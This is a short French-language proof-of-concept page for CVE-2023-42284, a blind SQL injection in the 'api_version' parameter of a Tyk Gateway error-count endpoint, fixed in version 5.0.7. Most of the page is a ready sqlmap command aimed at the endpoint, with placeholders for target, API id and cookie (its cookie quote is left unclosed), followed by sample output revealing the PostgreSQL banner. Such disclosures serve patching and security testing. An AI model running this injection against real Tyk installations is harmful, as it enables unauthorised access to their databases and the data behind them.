
Preuve de concept pour CVE-2023-42284 dans Tyk Gateway
Uniquement à des fins éducatives !
Preuve de concept pour CVE-2023-42284. Tyk Gateway est vulnérable à l’injection SQL. Corrigé dans la version 5.0.7.
Le paramètre d’URL ‘api_version’ de l’URL "https://<YOUR_URL>/api/errors/count/...?res=day&p=...&api_version=<PAYLOAD_HERE>&api_id=..."est vulnérable à l’injection SQL aveugle.
Utilisez sqlmap avec les paramètres suivants :
python.exe .\sqlmap.py -u "https://<INSERT YOUR URL>/api/errors/count/11/8/2022/13/1/2022?res=day&p=-1&api_version=Non%20Versioned&api_id=<INSERT YOUR API_ID>" -p "api_version" --cookie="<INSERT COOKIE HERE> --banner
La bannière de la base de données SQL est renvoyée dans la réponse :
...
banner: Postgresql 13.01 on x86_64-pc-linux-gnu
...